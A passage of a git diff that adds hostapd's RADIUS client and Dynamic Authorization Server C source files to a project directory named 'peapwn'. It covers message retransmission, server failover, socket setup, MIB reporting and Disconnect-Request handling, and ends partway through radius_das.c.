100, roundtrip % 100); + rconf->round_trip_time = roundtrip; + + /* Remove ACKed RADIUS packet from retransmit list */ + if (prev_req) + prev_req->next = req->next; + else + radius->msgs = req->next; + radius->num_msgs--; + + for (i = 0; i < num_handlers; i++) { + RadiusRxResult res; + res = handlers[i].handler(msg, req->msg, req->shared_secret, + req->shared_secret_len, + handlers[i].data); + switch (res) { + case RADIUS_RX_PROCESSED: + radius_msg_free(msg); + /* continue */ + case RADIUS_RX_QUEUED: + radius_client_msg_free(req); + return; + case RADIUS_RX_INVALID_AUTHENTICATOR: + invalid_authenticator++; + /* continue */ + case RADIUS_RX_UNKNOWN: + /* continue with next handler */ + break; + } + } + + if (invalid_authenticator) + rconf->bad_authenticators++; + else + rconf->unknown_types++; + hostapd_logger(radius->ctx, req->addr, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, "No RADIUS RX handler found " + "(type=%d code=%d id=%d)%s - dropping packet", + msg_type, hdr->code, hdr->identifier, + invalid_authenticator ? " [INVALID AUTHENTICATOR]" : + ""); + radius_client_msg_free(req); + + fail: + radius_msg_free(msg); +} + + +/** + * radius_client_get_id - Get an identifier for a new RADIUS message + * @radius: RADIUS client context from radius_client_init() + * Returns: Allocated identifier + * + * This function is used to fetch a unique (among pending requests) identifier + * for a new RADIUS message. + */ +u8 radius_client_get_id(struct radius_client_data *radius) +{ + struct radius_msg_list *entry, *prev, *_remove; + u8 id = radius->next_radius_identifier++; + + /* remove entries with matching id from retransmit list to avoid + * using new reply from the RADIUS server with an old request */ + entry = radius->msgs; + prev = NULL; + while (entry) { + if (radius_msg_get_hdr(entry->msg)->identifier == id) { + hostapd_logger(radius->ctx, entry->addr, + HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, + "Removing pending RADIUS message, " + "since its id (%d) is reused", id); + if (prev) + prev->next = entry->next; + else + radius->msgs = entry->next; + _remove = entry; + } else { + _remove = NULL; + prev = entry; + } + entry = entry->next; + + if (_remove) + radius_client_msg_free(_remove); + } + + return id; +} + + +/** + * radius_client_flush - Flush all pending RADIUS client messages + * @radius: RADIUS client context from radius_client_init() + * @only_auth: Whether only authentication messages are removed + */ +void radius_client_flush(struct radius_client_data *radius, int only_auth) +{ + struct radius_msg_list *entry, *prev, *tmp; + + if (!radius) + return; + + prev = NULL; + entry = radius->msgs; + + while (entry) { + if (!only_auth || entry->msg_type == RADIUS_AUTH) { + if (prev) + prev->next = entry->next; + else + radius->msgs = entry->next; + + tmp = entry; + entry = entry->next; + radius_client_msg_free(tmp); + radius->num_msgs--; + } else { + prev = entry; + entry = entry->next; + } + } + + if (radius->msgs == NULL) + eloop_cancel_timeout(radius_client_timer, radius, NULL); +} + + +static void radius_client_update_acct_msgs(struct radius_client_data *radius, + const u8 *shared_secret, + size_t shared_secret_len) +{ + struct radius_msg_list *entry; + + if (!radius) + return; + + for (entry = radius->msgs; entry; entry = entry->next) { + if (entry->msg_type == RADIUS_ACCT) { + entry->shared_secret = shared_secret; + entry->shared_secret_len = shared_secret_len; + radius_msg_finish_acct(entry->msg, shared_secret, + shared_secret_len); + } + } +} + + +static int +radius_change_server(struct radius_client_data *radius, + struct hostapd_radius_server *nserv, + struct hostapd_radius_server *oserv, + int sock, int sock6, int auth) +{ + struct sockaddr_in serv, claddr; +#ifdef CONFIG_IPV6 + struct sockaddr_in6 serv6, claddr6; +#endif /* CONFIG_IPV6 */ + struct sockaddr *addr, *cl_addr; + socklen_t addrlen, claddrlen; + char abuf[50]; + int sel_sock; + struct radius_msg_list *entry; + struct hostapd_radius_servers *conf = radius->conf; + + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, + "%s server %s:%d", + auth ? "Authentication" : "Accounting", + hostapd_ip_txt(&nserv->addr, abuf, sizeof(abuf)), + nserv->port); + + if (!oserv || nserv->shared_secret_len != oserv->shared_secret_len || + os_memcmp(nserv->shared_secret, oserv->shared_secret, + nserv->shared_secret_len) != 0) { + /* Pending RADIUS packets used different shared secret, so + * they need to be modified. Update accounting message + * authenticators here. Authentication messages are removed + * since they would require more changes and the new RADIUS + * server may not be prepared to receive them anyway due to + * missing state information. Client will likely retry + * authentication, so this should not be an issue. */ + if (auth) + radius_client_flush(radius, 1); + else { + radius_client_update_acct_msgs( + radius, nserv->shared_secret, + nserv->shared_secret_len); + } + } + + /* Reset retry counters for the new server */ + for (entry = radius->msgs; entry; entry = entry->next) { + if ((auth && entry->msg_type != RADIUS_AUTH) || + (!auth && entry->msg_type != RADIUS_ACCT)) + continue; + entry->next_try = entry->first_try + RADIUS_CLIENT_FIRST_WAIT; + entry->attempts = 0; + entry->next_wait = RADIUS_CLIENT_FIRST_WAIT * 2; + } + + if (radius->msgs) { + eloop_cancel_timeout(radius_client_timer, radius, NULL); + eloop_register_timeout(RADIUS_CLIENT_FIRST_WAIT, 0, + radius_client_timer, radius, NULL); + } + + switch (nserv->addr.af) { + case AF_INET: + os_memset(&serv, 0, sizeof(serv)); + serv.sin_family = AF_INET; + serv.sin_addr.s_addr = nserv->addr.u.v4.s_addr; + serv.sin_port = htons(nserv->port); + addr = (struct sockaddr *) &serv; + addrlen = sizeof(serv); + sel_sock = sock; + break; +#ifdef CONFIG_IPV6 + case AF_INET6: + os_memset(&serv6, 0, sizeof(serv6)); + serv6.sin6_family = AF_INET6; + os_memcpy(&serv6.sin6_addr, &nserv->addr.u.v6, + sizeof(struct in6_addr)); + serv6.sin6_port = htons(nserv->port); + addr = (struct sockaddr *) &serv6; + addrlen = sizeof(serv6); + sel_sock = sock6; + break; +#endif /* CONFIG_IPV6 */ + default: + return -1; + } + + if (conf->force_client_addr) { + switch (conf->client_addr.af) { + case AF_INET: + os_memset(&claddr, 0, sizeof(claddr)); + claddr.sin_family = AF_INET; + claddr.sin_addr.s_addr = conf->client_addr.u.v4.s_addr; + claddr.sin_port = htons(0); + cl_addr = (struct sockaddr *) &claddr; + claddrlen = sizeof(claddr); + break; +#ifdef CONFIG_IPV6 + case AF_INET6: + os_memset(&claddr6, 0, sizeof(claddr6)); + claddr6.sin6_family = AF_INET6; + os_memcpy(&claddr6.sin6_addr, &conf->client_addr.u.v6, + sizeof(struct in6_addr)); + claddr6.sin6_port = htons(0); + cl_addr = (struct sockaddr *) &claddr6; + claddrlen = sizeof(claddr6); + break; +#endif /* CONFIG_IPV6 */ + default: + return -1; + } + + if (bind(sel_sock, cl_addr, claddrlen) < 0) { + wpa_printf(MSG_INFO, "bind[radius]: %s", + strerror(errno)); + return -1; + } + } + + if (connect(sel_sock, addr, addrlen) < 0) { + wpa_printf(MSG_INFO, "connect[radius]: %s", strerror(errno)); + return -1; + } + +#ifndef CONFIG_NATIVE_WINDOWS + switch (nserv->addr.af) { + case AF_INET: + claddrlen = sizeof(claddr); + getsockname(sel_sock, (struct sockaddr *) &claddr, &claddrlen); + wpa_printf(MSG_DEBUG, "RADIUS local address: %s:%u", + inet_ntoa(claddr.sin_addr), ntohs(claddr.sin_port)); + break; +#ifdef CONFIG_IPV6 + case AF_INET6: { + claddrlen = sizeof(claddr6); + getsockname(sel_sock, (struct sockaddr *) &claddr6, + &claddrlen); + wpa_printf(MSG_DEBUG, "RADIUS local address: %s:%u", + inet_ntop(AF_INET6, &claddr6.sin6_addr, + abuf, sizeof(abuf)), + ntohs(claddr6.sin6_port)); + break; + } +#endif /* CONFIG_IPV6 */ + } +#endif /* CONFIG_NATIVE_WINDOWS */ + + if (auth) + radius->auth_sock = sel_sock; + else + radius->acct_sock = sel_sock; + + return 0; +} + + +static void radius_retry_primary_timer(void *eloop_ctx, void *timeout_ctx) +{ + struct radius_client_data *radius = eloop_ctx; + struct hostapd_radius_servers *conf = radius->conf; + struct hostapd_radius_server *oserv; + + if (radius->auth_sock >= 0 && conf->auth_servers && + conf->auth_server != conf->auth_servers) { + oserv = conf->auth_server; + conf->auth_server = conf->auth_servers; + radius_change_server(radius, conf->auth_server, oserv, + radius->auth_serv_sock, + radius->auth_serv_sock6, 1); + } + + if (radius->acct_sock >= 0 && conf->acct_servers && + conf->acct_server != conf->acct_servers) { + oserv = conf->acct_server; + conf->acct_server = conf->acct_servers; + radius_change_server(radius, conf->acct_server, oserv, + radius->acct_serv_sock, + radius->acct_serv_sock6, 0); + } + + if (conf->retry_primary_interval) + eloop_register_timeout(conf->retry_primary_interval, 0, + radius_retry_primary_timer, radius, + NULL); +} + + +static int radius_client_disable_pmtu_discovery(int s) +{ + int r = -1; +#if defined(IP_MTU_DISCOVER) && defined(IP_PMTUDISC_DONT) + /* Turn off Path MTU discovery on IPv4/UDP sockets. */ + int action = IP_PMTUDISC_DONT; + r = setsockopt(s, IPPROTO_IP, IP_MTU_DISCOVER, &action, + sizeof(action)); + if (r == -1) + wpa_printf(MSG_ERROR, "RADIUS: Failed to set IP_MTU_DISCOVER: %s", + strerror(errno)); +#endif + return r; +} + + +static int radius_client_init_auth(struct radius_client_data *radius) +{ + struct hostapd_radius_servers *conf = radius->conf; + int ok = 0; + + radius->auth_serv_sock = socket(PF_INET, SOCK_DGRAM, 0); + if (radius->auth_serv_sock < 0) + wpa_printf(MSG_INFO, "RADIUS: socket[PF_INET,SOCK_DGRAM]: %s", + strerror(errno)); + else { + radius_client_disable_pmtu_discovery(radius->auth_serv_sock); + ok++; + } + +#ifdef CONFIG_IPV6 + radius->auth_serv_sock6 = socket(PF_INET6, SOCK_DGRAM, 0); + if (radius->auth_serv_sock6 < 0) + wpa_printf(MSG_INFO, "RADIUS: socket[PF_INET6,SOCK_DGRAM]: %s", + strerror(errno)); + else + ok++; +#endif /* CONFIG_IPV6 */ + + if (ok == 0) + return -1; + + radius_change_server(radius, conf->auth_server, NULL, + radius->auth_serv_sock, radius->auth_serv_sock6, + 1); + + if (radius->auth_serv_sock >= 0 && + eloop_register_read_sock(radius->auth_serv_sock, + radius_client_receive, radius, + (void *) RADIUS_AUTH)) { + wpa_printf(MSG_INFO, "RADIUS: Could not register read socket for authentication server"); + return -1; + } + +#ifdef CONFIG_IPV6 + if (radius->auth_serv_sock6 >= 0 && + eloop_register_read_sock(radius->auth_serv_sock6, + radius_client_receive, radius, + (void *) RADIUS_AUTH)) { + wpa_printf(MSG_INFO, "RADIUS: Could not register read socket for authentication server"); + return -1; + } +#endif /* CONFIG_IPV6 */ + + return 0; +} + + +static int radius_client_init_acct(struct radius_client_data *radius) +{ + struct hostapd_radius_servers *conf = radius->conf; + int ok = 0; + + radius->acct_serv_sock = socket(PF_INET, SOCK_DGRAM, 0); + if (radius->acct_serv_sock < 0) + wpa_printf(MSG_INFO, "RADIUS: socket[PF_INET,SOCK_DGRAM]: %s", + strerror(errno)); + else { + radius_client_disable_pmtu_discovery(radius->acct_serv_sock); + ok++; + } + +#ifdef CONFIG_IPV6 + radius->acct_serv_sock6 = socket(PF_INET6, SOCK_DGRAM, 0); + if (radius->acct_serv_sock6 < 0) + wpa_printf(MSG_INFO, "RADIUS: socket[PF_INET6,SOCK_DGRAM]: %s", + strerror(errno)); + else + ok++; +#endif /* CONFIG_IPV6 */ + + if (ok == 0) + return -1; + + radius_change_server(radius, conf->acct_server, NULL, + radius->acct_serv_sock, radius->acct_serv_sock6, + 0); + + if (radius->acct_serv_sock >= 0 && + eloop_register_read_sock(radius->acct_serv_sock, + radius_client_receive, radius, + (void *) RADIUS_ACCT)) { + wpa_printf(MSG_INFO, "RADIUS: Could not register read socket for accounting server"); + return -1; + } + +#ifdef CONFIG_IPV6 + if (radius->acct_serv_sock6 >= 0 && + eloop_register_read_sock(radius->acct_serv_sock6, + radius_client_receive, radius, + (void *) RADIUS_ACCT)) { + wpa_printf(MSG_INFO, "RADIUS: Could not register read socket for accounting server"); + return -1; + } +#endif /* CONFIG_IPV6 */ + + return 0; +} + + +/** + * radius_client_init - Initialize RADIUS client + * @ctx: Callback context to be used in hostapd_logger() calls + * @conf: RADIUS client configuration (RADIUS servers) + * Returns: Pointer to private RADIUS client context or %NULL on failure + * + * The caller is responsible for keeping the configuration data available for + * the lifetime of the RADIUS client, i.e., until radius_client_deinit() is + * called for the returned context pointer. + */ +struct radius_client_data * +radius_client_init(void *ctx, struct hostapd_radius_servers *conf) +{ + struct radius_client_data *radius; + + radius = os_zalloc(sizeof(struct radius_client_data)); + if (radius == NULL) + return NULL; + + radius->ctx = ctx; + radius->conf = conf; + radius->auth_serv_sock = radius->acct_serv_sock = + radius->auth_serv_sock6 = radius->acct_serv_sock6 = + radius->auth_sock = radius->acct_sock = -1; + + if (conf->auth_server && radius_client_init_auth(radius)) { + radius_client_deinit(radius); + return NULL; + } + + if (conf->acct_server && radius_client_init_acct(radius)) { + radius_client_deinit(radius); + return NULL; + } + + if (conf->retry_primary_interval) + eloop_register_timeout(conf->retry_primary_interval, 0, + radius_retry_primary_timer, radius, + NULL); + + return radius; +} + + +/** + * radius_client_deinit - Deinitialize RADIUS client + * @radius: RADIUS client context from radius_client_init() + */ +void radius_client_deinit(struct radius_client_data *radius) +{ + if (!radius) + return; + + if (radius->auth_serv_sock >= 0) + eloop_unregister_read_sock(radius->auth_serv_sock); + if (radius->acct_serv_sock >= 0) + eloop_unregister_read_sock(radius->acct_serv_sock); +#ifdef CONFIG_IPV6 + if (radius->auth_serv_sock6 >= 0) + eloop_unregister_read_sock(radius->auth_serv_sock6); + if (radius->acct_serv_sock6 >= 0) + eloop_unregister_read_sock(radius->acct_serv_sock6); +#endif /* CONFIG_IPV6 */ + + eloop_cancel_timeout(radius_retry_primary_timer, radius, NULL); + + radius_client_flush(radius, 0); + os_free(radius->auth_handlers); + os_free(radius->acct_handlers); + os_free(radius); +} + + +/** + * radius_client_flush_auth - Flush pending RADIUS messages for an address + * @radius: RADIUS client context from radius_client_init() + * @addr: MAC address of the related device + * + * This function can be used to remove pending RADIUS authentication messages + * that are related to a specific device. The addr parameter is matched with + * the one used in radius_client_send() call that was used to transmit the + * authentication request. + */ +void radius_client_flush_auth(struct radius_client_data *radius, + const u8 *addr) +{ + struct radius_msg_list *entry, *prev, *tmp; + + prev = NULL; + entry = radius->msgs; + while (entry) { + if (entry->msg_type == RADIUS_AUTH && + os_memcmp(entry->addr, addr, ETH_ALEN) == 0) { + hostapd_logger(radius->ctx, addr, + HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, + "Removing pending RADIUS authentication" + " message for removed client"); + + if (prev) + prev->next = entry->next; + else + radius->msgs = entry->next; + + tmp = entry; + entry = entry->next; + radius_client_msg_free(tmp); + radius->num_msgs--; + continue; + } + + prev = entry; + entry = entry->next; + } +} + + +static int radius_client_dump_auth_server(char *buf, size_t buflen, + struct hostapd_radius_server *serv, + struct radius_client_data *cli) +{ + int pending = 0; + struct radius_msg_list *msg; + char abuf[50]; + + if (cli) { + for (msg = cli->msgs; msg; msg = msg->next) { + if (msg->msg_type == RADIUS_AUTH) + pending++; + } + } + + return os_snprintf(buf, buflen, + "radiusAuthServerIndex=%d\n" + "radiusAuthServerAddress=%s\n" + "radiusAuthClientServerPortNumber=%d\n" + "radiusAuthClientRoundTripTime=%d\n" + "radiusAuthClientAccessRequests=%u\n" + "radiusAuthClientAccessRetransmissions=%u\n" + "radiusAuthClientAccessAccepts=%u\n" + "radiusAuthClientAccessRejects=%u\n" + "radiusAuthClientAccessChallenges=%u\n" + "radiusAuthClientMalformedAccessResponses=%u\n" + "radiusAuthClientBadAuthenticators=%u\n" + "radiusAuthClientPendingRequests=%u\n" + "radiusAuthClientTimeouts=%u\n" + "radiusAuthClientUnknownTypes=%u\n" + "radiusAuthClientPacketsDropped=%u\n", + serv->index, + hostapd_ip_txt(&serv->addr, abuf, sizeof(abuf)), + serv->port, + serv->round_trip_time, + serv->requests, + serv->retransmissions, + serv->access_accepts, + serv->access_rejects, + serv->access_challenges, + serv->malformed_responses, + serv->bad_authenticators, + pending, + serv->timeouts, + serv->unknown_types, + serv->packets_dropped); +} + + +static int radius_client_dump_acct_server(char *buf, size_t buflen, + struct hostapd_radius_server *serv, + struct radius_client_data *cli) +{ + int pending = 0; + struct radius_msg_list *msg; + char abuf[50]; + + if (cli) { + for (msg = cli->msgs; msg; msg = msg->next) { + if (msg->msg_type == RADIUS_ACCT || + msg->msg_type == RADIUS_ACCT_INTERIM) + pending++; + } + } + + return os_snprintf(buf, buflen, + "radiusAccServerIndex=%d\n" + "radiusAccServerAddress=%s\n" + "radiusAccClientServerPortNumber=%d\n" + "radiusAccClientRoundTripTime=%d\n" + "radiusAccClientRequests=%u\n" + "radiusAccClientRetransmissions=%u\n" + "radiusAccClientResponses=%u\n" + "radiusAccClientMalformedResponses=%u\n" + "radiusAccClientBadAuthenticators=%u\n" + "radiusAccClientPendingRequests=%u\n" + "radiusAccClientTimeouts=%u\n" + "radiusAccClientUnknownTypes=%u\n" + "radiusAccClientPacketsDropped=%u\n", + serv->index, + hostapd_ip_txt(&serv->addr, abuf, sizeof(abuf)), + serv->port, + serv->round_trip_time, + serv->requests, + serv->retransmissions, + serv->responses, + serv->malformed_responses, + serv->bad_authenticators, + pending, + serv->timeouts, + serv->unknown_types, + serv->packets_dropped); +} + + +/** + * radius_client_get_mib - Get RADIUS client MIB information + * @radius: RADIUS client context from radius_client_init() + * @buf: Buffer for returning MIB data in text format + * @buflen: Maximum buf length in octets + * Returns: Number of octets written into the buffer + */ +int radius_client_get_mib(struct radius_client_data *radius, char *buf, + size_t buflen) +{ + struct hostapd_radius_servers *conf = radius->conf; + int i; + struct hostapd_radius_server *serv; + int count = 0; + + if (conf->auth_servers) { + for (i = 0; i < conf->num_auth_servers; i++) { + serv = &conf->auth_servers[i]; + count += radius_client_dump_auth_server( + buf + count, buflen - count, serv, + serv == conf->auth_server ? + radius : NULL); + } + } + + if (conf->acct_servers) { + for (i = 0; i < conf->num_acct_servers; i++) { + serv = &conf->acct_servers[i]; + count += radius_client_dump_acct_server( + buf + count, buflen - count, serv, + serv == conf->acct_server ? + radius : NULL); + } + } + + return count; +} + + +void radius_client_reconfig(struct radius_client_data *radius, + struct hostapd_radius_servers *conf) +{ + if (radius) + radius->conf = conf; +} diff --git a/peapwn/mods/hostap/src/radius/radius_client.h b/peapwn/mods/hostap/src/radius/radius_client.h new file mode 100644 index 000000000..3db16aa28 --- /dev/null +++ b/peapwn/mods/hostap/src/radius/radius_client.h @@ -0,0 +1,259 @@ +/* + * RADIUS client + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef RADIUS_CLIENT_H +#define RADIUS_CLIENT_H + +#include "ip_addr.h" + +struct radius_msg; + +/** + * struct hostapd_radius_server - RADIUS server information for RADIUS client + * + * This structure contains information about a RADIUS server. The values are + * mainly for MIB information. The MIB variable prefix (radiusAuth or + * radiusAcc) depends on whether this is an authentication or accounting + * server. + * + * radiusAuthClientPendingRequests (or radiusAccClientPendingRequests) is the + * number struct radius_client_data::msgs for matching msg_type. + */ +struct hostapd_radius_server { + /** + * addr - radiusAuthServerAddress or radiusAccServerAddress + */ + struct hostapd_ip_addr addr; + + /** + * port - radiusAuthClientServerPortNumber or radiusAccClientServerPortNumber + */ + int port; + + /** + * shared_secret - Shared secret for authenticating RADIUS messages + */ + u8 *shared_secret; + + /** + * shared_secret_len - Length of shared_secret in octets + */ + size_t shared_secret_len; + + /* Dynamic (not from configuration file) MIB data */ + + /** + * index - radiusAuthServerIndex or radiusAccServerIndex + */ + int index; + + /** + * round_trip_time - radiusAuthClientRoundTripTime or radiusAccClientRoundTripTime + * Round-trip time in hundredths of a second. + */ + int round_trip_time; + + /** + * requests - radiusAuthClientAccessRequests or radiusAccClientRequests + */ + u32 requests; + + /** + * retransmissions - radiusAuthClientAccessRetransmissions or radiusAccClientRetransmissions + */ + u32 retransmissions; + + /** + * access_accepts - radiusAuthClientAccessAccepts + */ + u32 access_accepts; + + /** + * access_rejects - radiusAuthClientAccessRejects + */ + u32 access_rejects; + + /** + * access_challenges - radiusAuthClientAccessChallenges + */ + u32 access_challenges; + + /** + * responses - radiusAccClientResponses + */ + u32 responses; + + /** + * malformed_responses - radiusAuthClientMalformedAccessResponses or radiusAccClientMalformedResponses + */ + u32 malformed_responses; + + /** + * bad_authenticators - radiusAuthClientBadAuthenticators or radiusAccClientBadAuthenticators + */ + u32 bad_authenticators; + + /** + * timeouts - radiusAuthClientTimeouts or radiusAccClientTimeouts + */ + u32 timeouts; + + /** + * unknown_types - radiusAuthClientUnknownTypes or radiusAccClientUnknownTypes + */ + u32 unknown_types; + + /** + * packets_dropped - radiusAuthClientPacketsDropped or radiusAccClientPacketsDropped + */ + u32 packets_dropped; +}; + +/** + * struct hostapd_radius_servers - RADIUS servers for RADIUS client + */ +struct hostapd_radius_servers { + /** + * auth_servers - RADIUS Authentication servers in priority order + */ + struct hostapd_radius_server *auth_servers; + + /** + * num_auth_servers - Number of auth_servers entries + */ + int num_auth_servers; + + /** + * auth_server - The current Authentication server + */ + struct hostapd_radius_server *auth_server; + + /** + * acct_servers - RADIUS Accounting servers in priority order + */ + struct hostapd_radius_server *acct_servers; + + /** + * num_acct_servers - Number of acct_servers entries + */ + int num_acct_servers; + + /** + * acct_server - The current Accounting server + */ + struct hostapd_radius_server *acct_server; + + /** + * retry_primary_interval - Retry interval for trying primary server + * + * This specifies a retry interval in sexconds for trying to return to + * the primary RADIUS server. RADIUS client code will automatically try + * to use the next server when the current server is not replying to + * requests. If this interval is set (non-zero), the primary server + * will be retried after the specified number of seconds has passed + * even if the current used secondary server is still working. + */ + int retry_primary_interval; + + /** + * msg_dumps - Whether RADIUS message details are shown in stdout + */ + int msg_dumps; + + /** + * client_addr - Client (local) address to use if force_client_addr + */ + struct hostapd_ip_addr client_addr; + + /** + * force_client_addr - Whether to force client (local) address + */ + int force_client_addr; +}; + + +/** + * RadiusType - RADIUS server type for RADIUS client + */ +typedef enum { + /** + * RADIUS authentication + */ + RADIUS_AUTH, + + /** + * RADIUS_ACCT - RADIUS accounting + */ + RADIUS_ACCT, + + /** + * RADIUS_ACCT_INTERIM - RADIUS interim accounting message + * + * Used only with radius_client_send(). This behaves just like + * RADIUS_ACCT, but removes any pending interim RADIUS Accounting + * messages for the same STA before sending the new interim update. + */ + RADIUS_ACCT_INTERIM +} RadiusType; + +/** + * RadiusRxResult - RADIUS client RX handler result + */ +typedef enum { + /** + * RADIUS_RX_PROCESSED - Message processed + * + * This stops handler calls and frees the message. + */ + RADIUS_RX_PROCESSED, + + /** + * RADIUS_RX_QUEUED - Message has been queued + * + * This stops handler calls, but does not free the message; the handler + * that returned this is responsible for eventually freeing the + * message. + */ + RADIUS_RX_QUEUED, + + /** + * RADIUS_RX_UNKNOWN - Message is not for this handler + */ + RADIUS_RX_UNKNOWN, + + /** + * RADIUS_RX_INVALID_AUTHENTICATOR - Message has invalid Authenticator + */ + RADIUS_RX_INVALID_AUTHENTICATOR +} RadiusRxResult; + +struct radius_client_data; + +int radius_client_register(struct radius_client_data *radius, + RadiusType msg_type, + RadiusRxResult (*handler) + (struct radius_msg *msg, struct radius_msg *req, + const u8 *shared_secret, size_t shared_secret_len, + void *data), + void *data); +int radius_client_send(struct radius_client_data *radius, + struct radius_msg *msg, + RadiusType msg_type, const u8 *addr); +u8 radius_client_get_id(struct radius_client_data *radius); +void radius_client_flush(struct radius_client_data *radius, int only_auth); +struct radius_client_data * +radius_client_init(void *ctx, struct hostapd_radius_servers *conf); +void radius_client_deinit(struct radius_client_data *radius); +void radius_client_flush_auth(struct radius_client_data *radius, + const u8 *addr); +int radius_client_get_mib(struct radius_client_data *radius, char *buf, + size_t buflen); +void radius_client_reconfig(struct radius_client_data *radius, + struct hostapd_radius_servers *conf); + +#endif /* RADIUS_CLIENT_H */ diff --git a/peapwn/mods/hostap/src/radius/radius_das.c b/peapwn/mods/hostap/src/radius/radius_das.c new file mode 100644 index 000000000..418b1605c --- /dev/null +++ b/peapwn/mods/hostap/src/radius/radius_das.c @@ -0,0 +1,365 @@ +/* + * RADIUS Dynamic Authorization Server (DAS) (RFC 5176) + * Copyright (c) 2012-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "utils/common.h" +#include "utils/eloop.h" +#include "utils/ip_addr.h" +#include "radius.h" +#include "radius_das.h" + + +extern int wpa_debug_level; + + +struct radius_das_data { + int sock; + u8 *shared_secret; + size_t shared_secret_len; + struct hostapd_ip_addr client_addr; + unsigned int time_window; + int require_event_timestamp; + void *ctx; + enum radius_das_res (*disconnect)(void *ctx, + struct radius_das_attrs *attr); +}; + + +static struct radius_msg * radius_das_disconnect(struct radius_das_data *das, + struct radius_msg *msg, + const char *abuf, + int from_port) +{ + struct radius_hdr *hdr; + struct radius_msg *reply; + u8 allowed[] = { + RADIUS_ATTR_USER_NAME, + RADIUS_ATTR_CALLING_STATION_ID, + RADIUS_ATTR_ACCT_SESSION_ID, + RADIUS_ATTR_EVENT_TIMESTAMP, + RADIUS_ATTR_MESSAGE_AUTHENTICATOR, + RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, + 0 + }; + int error = 405; + u8 attr; + enum radius_das_res res; + struct radius_das_attrs attrs; + u8 *buf; + size_t len; + char tmp[100]; + u8 sta_addr[ETH_ALEN]; + + hdr = radius_msg_get_hdr(msg); + + attr = radius_msg_find_unlisted_attr(msg, allowed); + if (attr) { + wpa_printf(MSG_INFO, "DAS: Unsupported attribute %u in " + "Disconnect-Request from %s:%d", attr, + abuf, from_port); + error = 401; + goto fail; + } + + os_memset(&attrs, 0, sizeof(attrs)); + + if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CALLING_STATION_ID, + &buf, &len, NULL) == 0) { + if (len >= sizeof(tmp)) + len = sizeof(tmp) - 1; + os_memcpy(tmp, buf, len); + tmp[len] = '\0'; + if (hwaddr_aton2(tmp, sta_addr) < 0) { + wpa_printf(MSG_INFO, "DAS: Invalid Calling-Station-Id " + "'%s' from %s:%d", tmp, abuf, from_port); + error = 407; + goto fail; + } + attrs.sta_addr = sta_addr; + } + + if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_USER_NAME, + &buf, &len, NULL) == 0) { + attrs.user_name = buf; + attrs.user_name_len = len; + } + + if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_ACCT_SESSION_ID, + &buf, &len, NULL) == 0) { + attrs.acct_session_id = buf; + attrs.acct_session_id_len = len; + } + + if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, + &buf, &len, NULL) == 0) { + attrs.cui = buf; + attrs.cui_len = len; + } + + res = das->disconnect(das->ctx, &attrs); + switch (res) { + case RADIUS_DAS_NAS_MISMATCH: + wpa_printf(MSG_INFO, "DAS: NAS mismatch from %s:%d", + abuf, from_port); + error = 403; + break; + case RADIUS_DAS_SESSION_NOT_FOUND: + wpa_printf(MSG_INFO, "DAS: Session not found for request from " + "%s:%d", abuf, from_port); + error = 503; + break; + case RADIUS_DAS_SUCCESS: + error = 0; + break; + } + +fail: + reply = radius_msg_new(error ? RADIUS_CODE_DISCONNECT_NAK : + RADIUS_CODE_DISCONNECT_ACK, hdr->identifier); + if (reply == NULL) + return NULL; + + if (error) { + if (!radius_msg_add_attr_int32(reply, RADIUS_ATTR_ERROR_CAUSE, + error)) { + radius_msg_free(reply); + return NULL; + } + } + + return reply; +} + + +static void radius_das_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct radius_das_data *das = eloop_ctx; + u8 buf[1500]; + union { + struct sockaddr_storage ss; + struct sockaddr_in sin; +#ifdef CONFIG_IPV6 + struct sockaddr_in6 sin6; +#endif /* CONFIG_IPV6 */ + } from; + char abuf[50]; + int from_port = 0; + socklen_t fromlen; + int len; + struct radius_msg *msg, *reply = NULL; + struct radius_hdr *hdr; + struct wpabuf *rbuf; + u32 val; + int res; + struct os_time now; + + fromlen = sizeof(from); + len = recvfrom(sock, buf, sizeof(buf), 0, + (struct sockaddr *) &from.ss, &fromlen); + if (len < 0) { + wpa_printf(MSG_ERROR, "DAS: recvfrom: %s", strerror(errno)); + return; + } + + os_strlcpy(abuf, inet_ntoa(from.sin.sin_addr), sizeof(abuf)); + from_port = ntohs(from.sin.sin_port); + + wpa_printf(MSG_DEBUG, "DAS: Received %d bytes from %s:%d", + len, abuf, from_port); + if (das->client_addr.u.v4.s_addr != from.sin.sin_addr.s_addr) { + wpa_printf(MSG_DEBUG, "DAS: Drop message from unknown client"); + return; + } + + msg = radius_msg_parse(buf, len); + if (msg == NULL) { + wpa_printf(MSG_DEBUG, "DAS: Parsing incoming RADIUS packet " + "from %s:%d failed", abuf, from_port); + return; + } + + if (wpa_debug_level <= MSG_MSGDUMP) + radius_msg_dump(msg); + + if (radius_msg_verify_das_req(msg, das->shared_secret, + das->shared_secret_len)) { + wpa_printf(MSG_DEBUG, "DAS: Invalid authenticator in packet " + "from %s:%d - drop", abuf, from_port); + goto fail; + } + + os_get_time(&now); + res = radius_msg_get_attr(msg, RADIUS_ATTR_EVENT_TIMESTAMP, + (u8 *) &val, 4); + if (res == 4) { + u32 timestamp = ntohl(val); + if ((unsigned int) abs(now.sec - timestamp) > + das->time_window) { + wpa_printf(MSG_DEBUG, "DAS: Unacceptable " + "Event-Timestamp (%u; local time %u) in " + "packet from %s:%d - drop", + timestamp, (unsigned int) now.sec, + abuf, from_port); + goto fail; + } + } else if (das->require_event_timestamp) { + wpa_printf(MSG_DEBUG, "DAS: Missing Event-Timestamp in packet " + "from %s:%d - drop", abuf, from_port); + goto fail; + } + + hdr = radius_msg_get_hdr(msg); + + switch (hdr->code) { + case RADIUS_CODE_DISCONNECT_REQUEST: + reply = radius_das_disconnect(das, msg, abuf, from_port); + break; + case 